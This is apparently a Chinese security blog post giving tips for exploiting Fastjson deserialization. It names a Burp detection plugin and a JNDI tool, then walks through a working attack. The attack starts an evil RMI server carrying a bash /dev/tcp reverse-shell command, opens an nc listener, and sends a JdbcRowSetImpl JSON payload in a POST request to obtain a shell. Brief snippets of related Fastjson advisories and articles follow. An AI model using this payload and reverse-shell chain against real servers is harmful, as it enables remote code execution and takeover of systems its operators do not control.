Fastjson 漏洞利用技巧

VSole2022-05-08 15:26:11

每次看到json数据包,都难免会想起Fastjson以及它多个版本存在的漏洞。

如何实现自动化检测以及简化攻击步骤,从而提升漏洞发现能力,让你更有效率的Tips,在这里和大家分享下。


01、自动化漏洞检测

一款基于BurpSuite的被动式FastJson检测插件,这个插件会对BurpSuite传进来的带有json数据的请求包进行检测。

Github项目地址:

https://github.com/pmiaowu/BurpFastJsonScan

02、简化攻击步骤

在这里我们可以使用一款JNDI服务利用工具,来简化fastjson漏洞检测的步骤,辅助漏洞利用和渗透。

Github项目地址:


https://github.com/wyzxxz/jndi_tool

Fstjson漏洞利用:

(1)开启RMI服务

java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "bash -i >&/dev/tcp/xxxx.xxx.xxx.xxx/12345 0>&1"

(2)设置监听服务器

nc -lvvp 12345

(3)构造请求发送payload

POST /login HTTP/1.1Host: xxx.xxx.xxx.xxxAccept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Content-Type: application/json;charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 111
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx.xxx.xxx.xxx:1099/Object","autoCommit":true}

(4)目标系统收到POST请求,成功反弹shell。

fastjsonfastjson使用
本作品采用《CC 协议》,转载必须注明作者和本文链接
Fastjson 反序列化远程代码执行漏洞 Fastjson 是一款开源的高性能 JSON 解析处理库,在国内被广泛使用。5 月 23 日,Fastjson 官方发布安全通告,声明修复了一处新的反序列化漏洞: https://github.com/alibaba/fastjson/wiki/security_update_20220523
FastJson结合二次反序列化绕过黑名单
近期,启明星辰集团北冥数据实验室在漏洞监控中发现fastjson官方发布公告称,fastjson 1.2.80及以下存在新的风险,并在第一时间对fastjson官方发布的安全公告进行分析研判,结合泰合盘古平台(THPangu-OS)的底座能力,为广大用户给出应急处置指引方案。
fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。除了这个fastjson以外,还有Google开发的Gson包,其他形式的如net.sf.json包,都可以实现json的转换。方法名称不同而已,最后的实现结果都是一样的。
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。由于具有执行效率高的特点,应用范围广泛。
本篇文章是Fastjson框架漏洞复现,记录了近几年来爆出的Fastjson框架漏洞,主要分为四个部分:Fastjson简介、Fastjson环境搭建、Fastjson漏洞复现、Fastjson工具介绍。 本篇文章由浅入深地介绍了Fastjson的一系列反序列化漏洞,基于RMI或LDAP方式反序列化漏洞利用对Fastjson进行RCE。在学习Fastjson过程中阅读了几十篇中英文Fastjson
鉴于该漏洞影响范围极大,建议企业尽快做好自查及防护。
Spring MVC是一种基于Java的实现了Web MVC设计模式的请求驱动类型的轻量级Web框架,即使用了MVC架构模式的思想,将web层进行职责解耦,基于请求驱动指的就是使用请求-响应模型,框架的目的就是帮助我们简化开发,Spring Web MVC也是要简化我们日常Web开发的
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。 在进行fastjson的漏洞复现学习之前需要了解几个概念,如下:
VSole
网络安全专家